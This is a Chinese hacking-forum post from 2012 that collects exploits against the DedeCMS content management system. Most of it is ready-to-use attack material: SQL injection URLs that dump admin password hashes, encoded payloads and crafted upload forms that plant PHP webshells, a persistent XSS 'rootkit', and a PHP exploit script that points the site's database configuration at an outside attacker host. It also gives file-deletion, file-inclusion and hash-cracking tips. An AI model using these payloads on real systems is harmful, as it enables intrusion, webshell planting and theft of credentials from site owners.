找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3369|回复: 0
打印 上一主题 下一主题

dedecms漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 10:42:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

& M$ X& k7 d8 O3 TDedecms 5.6 rss注入漏洞
" A3 S( m! ^+ O5 e
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
4 C1 N' b+ L0 T6 p" g; I: f, B1 a2 M" y1 V

* }4 |0 @: ?* l# q5 R1 |. N9 [
2 ~7 x, f' `1 j  r8 Y, j1 n, W/ U0 m! L+ ~7 w/ ^
1 [. |+ l9 m2 w2 G% E, ?1 ?
/ h& ^3 `9 ~) K8 N

% G( e: f% H9 e6 O, |; ]; N2 u- v
8 k& m9 E- P# S7 |, R- oDedeCms v5.6 嵌入恶意代码执行漏洞( |( C2 r( R$ s5 W3 J+ V* E
注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
1 Z* @+ c5 b5 y4 Q3 P发表后查看或修改即可执行9 z- E1 N" C: d) }
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
3 O- }+ Q0 B( D( r/ {* q生成x.php 密码xiao,直接生成一句话。
" L+ C/ N- m: J$ @* Y7 b
* m0 J/ z$ E) c6 N! q7 _" R2 Z* _' e; G0 f: J/ ~3 ]
6 U9 k5 ?% x8 V, h; O7 _

8 k+ q% c2 {& m6 e; Y) r* }% J
- j, f7 n& O6 [0 r2 j* a
, [: f/ x4 n& D! Z5 h0 q2 j/ Y) }3 y* r" r( Y. F

" p( H5 s4 \% k6 @. c2 _Dede 5.6 GBK SQL注入漏洞
& M& [. W; K6 s  Q6 J5 d
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';( T* e% S+ H2 @# Q1 X% m
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe; E1 P. l; y" N6 N- q; l$ S
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A77 ?$ q& \2 M' M! s7 S/ D8 _- j3 l5 n
' k& z4 _. U8 [( u$ K
9 u# `8 x+ f- q4 _' h0 `+ T4 ^1 V: {' Z

" f3 u& a( ~+ `
% H% H  {# e; Z+ w) q! j; W
% Q% f( j( Z. Y" ?/ u
: m6 t  Q% r7 B: {5 B) t  n9 b, ]. e! m& T- \4 `

$ B' A5 T6 a9 e6 o& }3 QDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞, T$ @' a  i. X; g" P( h- p
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin` 0 O* R; n. B( g
+ J7 @' G, g+ H3 f/ w% X6 Q
. s/ k6 b/ P7 k- i" F3 O
! B; S. F3 J6 A1 I. g8 l

+ ?3 d1 M+ w7 W" z0 M+ u. C. C( d9 I" x/ C, D

. j6 y( @/ v) S4 h9 zDEDECMS 全版本 gotopage变量XSS漏洞
8 \- S. x/ ^; l0 u0 U1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。
+ b) k1 A$ }4 S$ N0 q( {8 e4 g4 D
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="# J7 k3 y, k' D0 ]

$ b8 }! j  O- J  r/ z) ]
1 [) Z, i6 V$ K3 j3 c2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。 5 a2 |; @$ n  v
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda4 n) Z- c% {( F$ D  _! g

; q7 g* `$ I5 ?, t
1 _. r' R/ B" D' q& h0 c$ ]http://v57.demo.dedecms.com/dede/login.php
# o) s  t0 v* J0 v9 g- s& v
3 G' g# J% P8 G1 B. e
3 t. x2 C! s+ D0 F0 Z, X" f+ wcolor=Red]DeDeCMS(织梦)变量覆盖getshell
' R$ [! t3 T6 O7 k! n$ q#!usr/bin/php -w# @: v/ ^! o6 x$ v0 \
<?php  K" X: j+ C; t+ ^+ C$ B' R: A
error_reporting(E_ERROR);* E0 G0 M6 G& F# w) Z
set_time_limit(0);& Y" r  j6 J! {* A, @. U
print_r('& o# }$ t. U4 u2 v2 a
DEDEcms Variable Coverage! y8 S8 R% s8 t- J- D2 K6 q
Exploit Author:
www.heixiaozi.comwww.webvul.com. K# q$ c9 ?; j7 j9 X! ]( L- n9 R
);9 x& c: M3 ~1 V4 S1 q
echo "\r\n";
5 i) C7 M6 E( C* I) c( Jif($argv[2]==null){
: u& m" x6 U( _/ R9 R% H, _: @print_r('
$ e+ p: p" x" B* ^! s+---------------------------------------------------------------------------+6 L9 b. ^7 j. b! h
Usage: php '.$argv[0].' url aid path7 S1 B, z1 |! g# O
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
! E" h6 l; k3 D/ kExample:
2 r3 a% K; D) [+ x: k4 Ophp '.$argv[0].'
www.site.com 1 old
% `8 G, ]" N4 x3 q6 ?+---------------------------------------------------------------------------+6 c/ [, c0 ?3 i& O& U9 l, F
');+ H* b0 ]. M2 a0 H- ?$ Y' Y
exit;
. f' }" V' v" m9 Z}: u. m& I' P; }* y5 D) ^8 ~
$url=$argv[1];1 a1 \- w# @% ~' x* k8 C- Q5 b1 e3 q
$aid=$argv[2];! q: i& P) }7 y7 r' Z+ \
$path=$argv[3];
# a& F! n2 P) w5 k2 {- z$exp=Getshell($url,$aid,$path);7 G; w" {2 x( Q' y8 E+ B
if (strpos($exp,"OK")>12){0 q) A  M4 v6 x! M5 ^  }/ o/ L) E
echo "
, |1 y! U) V* a1 L: u( `7 uExploit Success \n";  J! e7 S5 K' ]7 _5 t% V: P
if($aid==1)echo "
, j, V" Z8 c- F, K: D7 WShell:".$url."/$path/data/cache/fuck.php\n" ;( S( a; I8 F. x7 J

2 [& e% P4 o' _, D0 ~
4 _" z/ K% R  ^if($aid==2)echo "
: r+ J# @' g4 `* x7 }Shell:".$url."/$path/fuck.php\n" ;
+ V5 b$ {/ Q. X2 K* r2 B* y( }2 @  ^4 ^0 e/ x

8 b7 Q$ x; t' R) [if($aid==3)echo "
4 v) v3 m0 @2 L$ i! HShell:".$url."/$path/plus/fuck.php\n";6 Q7 c; o0 z$ j( F9 U& z7 y6 O5 R) H
6 S& P$ X! J* K# t, M
; E( M% ~8 W" T) y' p3 ^
}else{
8 s  r, g, |" |1 w# v; n: F4 necho "
/ v# y7 s9 r" p; S9 N; f* `6 cExploit Failed \n";
" ~+ q' D4 w) n5 ?}
( x3 q' l, i7 }# S9 Hfunction Getshell($url,$aid,$path){# N0 U, _( N6 w
$id=$aid;( a9 P3 i- p) n# O( C7 v
$host=$url;/ n5 b/ f7 N) G3 O  E& g# b
$port="80";% z# s- m3 S" p- B' g# H& d; c
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";" u$ }6 u. j! U* w' S5 A
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
9 ^# \6 U/ S% H7 I$data .= "Host: ".$host."\r\n";
+ @# d$ Z3 D" Y( w! M$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";9 g7 y3 ^3 O# \* s! }
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 @; a8 ]: g- M  I# ~1 V" {  \6 z
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";7 K. M9 ]& C8 C
//$data .= "Accept-Encoding: gzip,deflate\r\n";3 c1 ]% s1 {9 _) j8 l+ o
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
( B8 A/ n' }: Z) U8 e; p$ X3 y4 g2 a$data .= "Connection: keep-alive\r\n";
) ]6 J6 D' M$ v# k  d$data .= "Content-Type: application/x-www-form-urlencoded\r\n";. ^- q6 O/ V2 }. M% k; `) v4 ^0 K
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 X' \! f2 q0 H# q$ C$data .= $content."\r\n";; i. R% M/ C1 \$ t
$ock=fsockopen($host,$port);
' |9 S& e# i& }  gif (!$ock) {* D0 |, Y& `2 A
echo "
1 C: R5 d) E6 t8 J7 l7 SNo response from ".$host."\n";0 n+ E4 i  u3 y
}, ?  K+ P3 j7 Z) s3 E
fwrite($ock,$data);
. s6 Q0 O0 F* z; f. [% qwhile (!feof($ock)) {' ^, I" Z7 p0 \( i) r; h) C: l' j
$exp=fgets($ock, 1024);
/ l$ v2 }* ~5 z4 ~0 K! w8 z" ?return $exp;
' \$ f; }) f6 U1 G}! {- K: C! h! V( U% v
}
7 u9 R* X% Z+ U) Q* A' O) _
2 s4 w% K; C1 j2 _. m9 n8 [1 g& Y, a0 [
?>
: G! H$ z$ y3 k, X2 M$ I- Y  w3 m6 y( M# `/ p$ b& T

" J8 F. ?/ k# v; ^( M4 G
! H5 N% [5 w) s+ z* B5 g
- c' u( w1 J: [% ^7 k
$ ]* b+ U* T/ i
7 _( }7 \1 T. a' d% B9 n' u% l! X
/ z/ u5 S8 p5 K; @& }0 k% D+ g  D! Z. V6 W, `  l# [) A7 r
( W6 E  ?  }% F5 ~4 j9 Y* h

- ]# D2 J( d2 {: N; y2 L, B8 `$ P& fDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
- c, N/ ^6 q7 v; Y, D4 p2 n
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
; {, J+ `# O; T* w3 \. D
( h6 l& q" a; O- P0 Q  t: I6 p5 P- Z% c$ _' }4 N/ U& p$ v" [2 Y7 I0 C
把上面validate=dcug改为当前的验证码,即可直接进入网站后台
) j9 t' d! j3 W
1 V4 e9 Y! O/ V1 K/ _1 x
4 k' U8 q& y; R1 N, c- D( G1 M此漏洞的前提是必须得到后台路径才能实现
  D$ o4 W7 U8 m- ]3 J
5 z9 D+ t0 e( Z! c$ m1 q, E' y/ |8 t8 U

) G  P3 Q7 U: M
5 r- }4 b; ~; w9 ]6 M/ h% T7 ^. z& E6 ?0 q6 n9 M, o( U
9 l9 \0 X$ I1 a! X  P
, i. f) V# D0 x, u1 f  Q; L% z

3 _6 J$ r! y$ m  D- w% [! L: u" U, X& O& E
  e9 P& E4 l8 i+ v( a
Dedecms织梦 标签远程文件写入漏洞1 {6 f' C+ c, Y9 [5 T2 ]
前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
- T5 V1 [: v, d0 O8 u7 r$ Z* S: Z( ]" B  W( O3 q
3 T- {. w9 L# H2 {8 N; r
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。
5 v9 P, p. C! c<form action="" method="post" name="QuickSearch" id="QuickSearch">
; t, V  D! ^; K' R5 H8 w8 M: x( U- Y<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
" V# k: N2 `# Z- Z<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
- M( |9 n4 e# V3 }9 [0 O<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />5 u! {1 E" o6 V& b$ V( a" C
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
9 F- T! U; n+ F/ T2 C: ]- t<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
6 d$ v( w7 ^% N<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />& g2 e6 D  C! b) N& B$ E) a
<input type="text" value="true" name="nocache" style="width:400">2 Z' I* b: j) M: v
<input type="submit" value="提交" name="QuickSearchBtn"><br />8 h0 D" G; T" N6 }# @
</form>7 W! Z* N7 p) P8 d9 ?
<script>
# _* D* ^7 @& r+ n; G* o) j3 Y4 nfunction addaction()
8 [! F4 K% X7 R# m" l{
% k4 f8 }$ r) J# C/ sdocument.QuickSearch.action=document.QuickSearch.doaction.value;
/ X' n" ?6 S! b6 d2 b}1 Z9 O6 M9 e0 s( O) n' `' U' p
</script>! _8 C* Y) r6 L- B8 X1 b3 D
' |  T) t8 x4 [5 A6 Z0 N% a* t
$ Q- p8 ~& \' w" `7 J* h

- q6 k" t$ S$ H) h" t/ q( P. z: Z2 z7 x/ N
: Y9 G: ?3 L* `
: J" h1 u6 A/ x/ `: L

. u& R3 q3 H, w9 g- c/ m
/ D  J9 e& N# S6 q/ I: x; G% P+ ]8 H' N% G

9 P, |2 l5 d1 E6 O- z8 dDedeCms v5.6 嵌入恶意代码执行漏洞
7 D2 l; u9 x. w9 D, v3 [注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行( C6 N) F5 _6 N6 X
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}  m% L+ t0 |$ T6 Z' {9 u9 L
生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得/ u5 `0 p& C+ H- e- [- V% A
Dedecms <= V5.6 Final模板执行漏洞; _3 C# P" N/ _' i# r
注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
# `5 N7 P4 R# y3 p- k9 P# muploads/userup/2/12OMX04-15A.jpg
0 m* ?; q* O+ r6 b
5 r0 I. O& I3 M. N6 O8 \1 d' r1 T. Q4 i; F
模板内容是(如果限制图片格式,加gif89a):
7 i- o5 V' {- q% `1 G' d{dede:name runphp='yes'}, m  p9 I. d+ _
$fp = @fopen("1.php", 'a');
" J8 j/ u: Q  V5 U0 l# c+ ~@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
% C4 ^) }, S# c@fclose($fp);( Q8 `4 |+ q& a/ c: h
{/dede:name}# i! G' e2 o- q) y& F9 [
2 修改刚刚发表的文章,查看源文件,构造一个表单:
5 W. y! L! Z) H<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data"># R- l+ U3 |5 E! Z) r+ h7 K: S
<input type="hidden" name="dopost" value="save" />9 ?5 {" ^1 n0 z- d, f: o, b
<input type="hidden" name="aid" value="2" />" g  Z% f9 s) |; g+ `
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />, O3 v: [* u+ `2 V; r& f# L
<input type="hidden" name="channelid" value="1" />
% o, u' T( V7 O1 E: K' }<input type="hidden" name="oldlitpic" value="" />
2 q- Y- R0 m. U, V# i: W<input type="hidden" name="sortrank" value="1275972263" />4 `, w8 r3 i5 r. o

8 m- V' H. @+ ]2 X5 ^* g% `% T: F
- h: F% ]/ f7 M& A<div id="mainCp">- D% m+ x  J7 C, ^; U8 A
<h3 class="meTitle"><strong>修改文章</strong></h3>
: ?% c( B. V2 \0 l, E+ e4 @* f1 H9 G8 U) f! }

2 p5 W! _5 S* ]/ M% `<div class="postForm">2 w3 j5 H3 W; q( V, [+ O  m
<label>标题:</label>3 w0 a0 }: v( L6 E6 _- X+ O+ T# V
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>% B. |! G0 w5 }0 S
# u$ R+ f0 e, y$ ~/ R# ^
4 J7 O' b; b# ?! U
<label>标签TAG:</label>
& o! c3 \& Q6 ^  j1 e" a) N<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)+ i" f% U% D2 N' a1 [3 k$ F

' B7 R* T2 i5 `7 [5 i9 g" h
7 j- u8 o; l% }+ J) i9 G$ W<label>作者:</label>
; X1 \3 s! S8 a, @- L7 C. M<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>2 X$ ]" u1 T. U4 l; x* L! j

$ B5 ]2 x% K% b* Y: G6 v7 t8 F
0 Q0 d: y# }8 O% \( v1 V5 h2 M$ z<label>隶属栏目:</label>
* `. I% Y. ?: T# j3 U. W( T<select name='typeid' size='1'>
( ~) Y3 v% x" D& l<option value='1' class='option3' selected=''>测试栏目</option>7 W& E2 A8 ]4 H7 t1 h, H
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
% {& Y1 |" f! O& x) G* R! \
; T' d4 c7 f4 [9 c  x# @5 X: c, l# s3 \+ d7 ~' ~9 C. l
<label>我的分类:</label>
, x8 D8 s' }, p7 ]- X) ~0 J<select name='mtypesid' size='1'>* a5 ~# P4 H/ O0 k* u$ d' I* S
<option value='0' selected>请选择分类...</option>2 S) w) G7 F: ^& K8 P# n
<option value='1' class='option3' selected>hahahha</option>" o8 w+ f5 M& W2 n
</select>
3 w! q! a5 n, c; u. X
( V; j* S* U& W+ h
3 l) ?4 o0 w  O- W& y5 E+ ]<label>信息摘要:</label>
2 b3 b* o& V) u: O) g<textarea name="description" id="description">1111111</textarea>8 L* W0 T- V+ B9 K; V$ o& @
(内容的简要说明)6 y2 y  B7 u6 E- e, I1 P4 T3 f" p. J

7 U) A5 K# Z) p) K5 ?3 h  `6 l7 U: a, C6 X3 l9 m% T# p& x
<label>缩略图:</label>5 W5 I& J- a9 c# l- s: N
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>5 l8 s* J9 ]& a

) u3 H7 \4 c8 l# o* }) U
3 h: _2 k2 u) D3 G8 e! k! e<input type='text' name='templet'
- Y5 L- E# l( B4 m7 ?value="../ uploads/userup/2/12OMX04-15A.jpg">
: p5 h: Q, J' X2 _5 _# v<input type='text' name='dede_addonfields'* ]* b; V: I& i' m
value="templet,htmltext;">(这里构造)
& t' K+ V7 b$ E& D- K</div>) y+ H' q5 V: f
4 j. B8 e* a8 h+ B0 h# N" G/ ^$ B8 P

9 U7 @" \) Y5 ^0 u8 v<!-- 表单操作区域 -->
! c+ @6 ~. s- {3 d) t4 A" S/ b- u  r<h3 class="meTitle">详细内容</h3>
0 ~- R/ P  ^, P% I3 ]
2 a' ]0 E" E: v! y2 h4 M/ y, ?7 ~+ k: _
<div class="contentShow postForm">+ o' z. T8 z! f: K5 R
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>/ v* D! p" B) v2 O4 D
! T1 a) W1 Z" c9 k1 [
: c6 v) O, u- h3 f
<label>验证码:</label>
: G5 [' O) s+ q! k; l! o0 J<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
: |! O9 @8 h2 H0 H<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />
2 D" J' i+ a& U, z. d
, I0 F9 f" h& m, f' k+ l. w: T
$ x  S# S$ ]2 G! S2 E- e<button class="button2" type="submit">提交</button>: x. R& H& z* H, W4 {/ p3 _# u* y
<button class="button2 ml10" type="reset">重置</button>
, n9 u* V( \4 D, a5 k1 p</div>
3 y& c* t4 X! ^' J! }3 T/ M6 u
* [+ S  ]( A) H0 x0 D- }9 E2 X; R/ _! m0 k
</div>, c" H- T5 E$ d7 o0 v

8 Z9 L3 b) r! \/ x. v' o% L! n
3 O2 @, V4 r0 w. v2 q) \* f6 e$ O: A% Y</form>; L$ W. Y1 i# f. q, E1 A% j0 r
; l! R% b+ M( c+ w! d

  c7 D. \0 z2 t5 G/ S提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:8 [+ ~% H4 w0 N; P
假设刚刚修改的文章的aid为2,则我们只需要访问:
1 e, n% d/ T3 I
http://127.0.0.1/dede/plus/view.php?aid=2/ ]3 k8 h' n& g1 t5 X' ~9 A% w
即可以在plus目录下生成webshell:1.php
- ]/ A9 T& x$ r+ P6 \" l+ d7 H
% z: l3 Y: N8 _
" A$ N6 Z- H& {; X8 ~; }% E; G
) h4 X) i/ A9 T/ O9 D

$ T9 B8 k4 _3 E4 U0 Y5 L4 _) m$ e; g# }  d* m" b/ U

9 E- S  @: e$ Q# Y9 ^+ j, I* W* }$ e( i& c

* }  q+ ~* J5 O. j, l$ M& f' G. ^& T$ x
$ q1 O/ Z# o" v+ x' }' y
1 z7 t- [2 Y% s* T
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
: N7 L% P1 H' g, W" {  mGif89a{dede:field name='toby57' runphp='yes'}
! \2 O/ X. ]2 J7 R, ^9 s+ Ephpinfo();
" t4 q% Y& l% R" j* L4 `% X1 T7 f{/dede:field}% Q' _  F. T" M8 L& `( [
保存为1.gif
8 P# p+ g0 ^7 p4 W* ]<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> 0 o' y/ ?3 I; Y* S' i# m1 K
<input type="hidden" name="aid" value="7" />
3 D" c/ E4 n1 `" J7 }) Q4 F) G* Q<input type="hidden" name="mediatype" value="1" /> 2 f3 B  p* V9 p6 l' `! w
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
4 G+ a9 J! \1 }: |3 g5 @# R<input type="hidden" name="dopost" value="save" /> ' Q, X+ G1 [5 ^$ ^/ V4 g$ X5 Y4 @
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
, `  M; i& m5 b) t6 z7 S4 }<input name="addonfile" type="file" id="addonfile"/> 6 J: x9 n+ m2 D% g" A
<button class="button2" type="submit" >更改</button> + P4 F& `5 S# b* a' n% N+ w
</form>
: V" t, B5 J8 U: l
, O- l" ~/ K" m; K- B. _  ?& G+ Q, H% \& b& ~/ V1 b2 K
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif- D5 k2 x/ ^) G2 |0 D9 h
发表文章,然后构造修改表单如下:
. [5 e. I7 Y$ ?7 u6 @  e6 F( o5 I! l0 I- V
$ S: l5 J1 \  p% I7 L
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
1 ~; w. s8 j4 I6 G( p/ A! T<input type="hidden" name="dopost" value="save" /> 0 m0 _6 e$ s. E' t! q7 U
<input type="hidden" name="aid" value="2" /> ) o, C# l# @7 _* d: f
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" /> 5 e% z4 j* d3 c. \  P5 T+ Q' |3 _& e
<input type="hidden" name="channelid" value="1" /> 5 ~" K2 O/ t, I. g5 l! N3 r
<input type="hidden" name="oldlitpic" value="" /> 0 d7 T9 M+ N( n0 f. Z
<input type="hidden" name="sortrank" value="1282049150" />   ?- K% L2 ~  D
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
, r: L8 H- Z; P2 J+ m<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
1 w% V, d* l3 L7 v& E! J2 {<select name='typeid' size='1'>
+ R" P5 C' u0 f& P2 q# V<option value='1' class='option3' selected=''>Test</option> ' e" ?( Q% m( y& b" s1 F
<select name='mtypesid' size='1'> 0 u0 K: k1 m- Y  M
<option value='0' selected>请选择分类...</option> % }* d# f9 _4 [$ a2 z+ S
<option value='1' class='option3' selected>aa</option></select>
! e7 B* l5 [! \<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
2 N  |2 |1 k! o7 D) O3 M( \0 Z<input type='hidden' name='dede_addonfields' value="templet">
/ k0 P1 @9 ~9 }* f4 |4 W<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
$ C0 Z# _" }. ]' Y* y4 e" d<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
( z2 D8 B% [3 s) S; `/ S<button class="button2" type="submit">提交</button> 5 R9 \/ S! k: U8 C# D& g
</form>
% U' N/ G' f/ D) `* i$ ]3 t' H
( @! M$ _8 }( h* o4 Z6 M' a- }
1 X' R) e, |! r, D4 D8 ^8 W5 e, g; N2 H' J' Y

" h. W4 a; R' w4 x3 J1 A* X7 j& B- ^- A+ t$ [  d
! e$ }3 {7 ?+ T' H0 @) s
: \1 X1 S1 `) y8 P  p; ?# \
" @. s: c, \" S: B* t" V) u1 W
1 ~' g  {) q; R8 ^- E! q% t9 A; u  N

: U6 I- t5 l# N+ _0 P0 d9 ?9 ~! A1 x. z. w3 X

" ^* ~% \" q3 y' Z7 G织梦(Dedecms)V5.6 远程文件删除漏洞
5 M# I7 R) |  _7 e+ }+ {
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
5 ?% N: l0 `2 P3 \" ^. G" u3 x! e# }4 u* m5 o

8 i4 I  ?6 ]  |2 |' K$ J- f0 F5 {0 e( e

  S4 Z5 S5 H5 M3 f+ P. e. n% [
5 \! c' ^5 R% f  n4 k" R& b2 B
0 u& U- [: W4 ]! K8 d5 r9 |2 ]
0 L, C( Y8 D  x$ ]6 M0 f: {
/ c: x9 C, b! ]% k3 [8 d2 h1 p" y3 B) }* p
% l5 u6 x4 `9 V- U- b8 A
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞 ! E0 q" s& z# K' T: T0 }: C
http://www.test.com/plus/carbuya ... urn&code=../../
' c$ A& Z  k3 J- q! U+ V
: g) z- B6 s8 B, q# [+ n  `
5 l1 c0 A! P% ]1 M; }/ v6 c2 \
! ?. u. H5 e, m" t/ |6 j5 o- K; i# `; O; W/ J4 Z
( {5 e5 t. l+ l% w, A
* p0 X! A/ Q! g- U: l, ~* H* g0 P$ J, {

+ e* X# \) i  o/ m  X" i
* A* Y$ j" I% A, M/ ~) ~2 ?# T* r) }& z4 Z' [0 f" |, ^
6 b1 j9 C* ~) Y9 K! O  d: C; v! m4 P
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
. M4 ]; G/ k! `/ g' vplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
  [9 x, I/ K% m6 a$ i密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5$ L/ n$ p* q1 Y) B7 M, c  A

1 \9 ?6 f- W, z
7 `* U* ^$ J. J' K8 w. p3 f* N
; }4 t4 p) i+ J8 d- ~5 F, W& m
/ [) z; f3 f5 \2 {7 `
! \" }) |, f1 y, P2 H" d

2 Y1 [  c, R$ I1 b1 f% g. o& P7 \8 B' [* t

! S5 Y! D% s6 q5 m( _* b) k% q8 A4 {; C5 }4 H" L+ x2 B' _9 o
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞. ~+ _4 _* R0 C
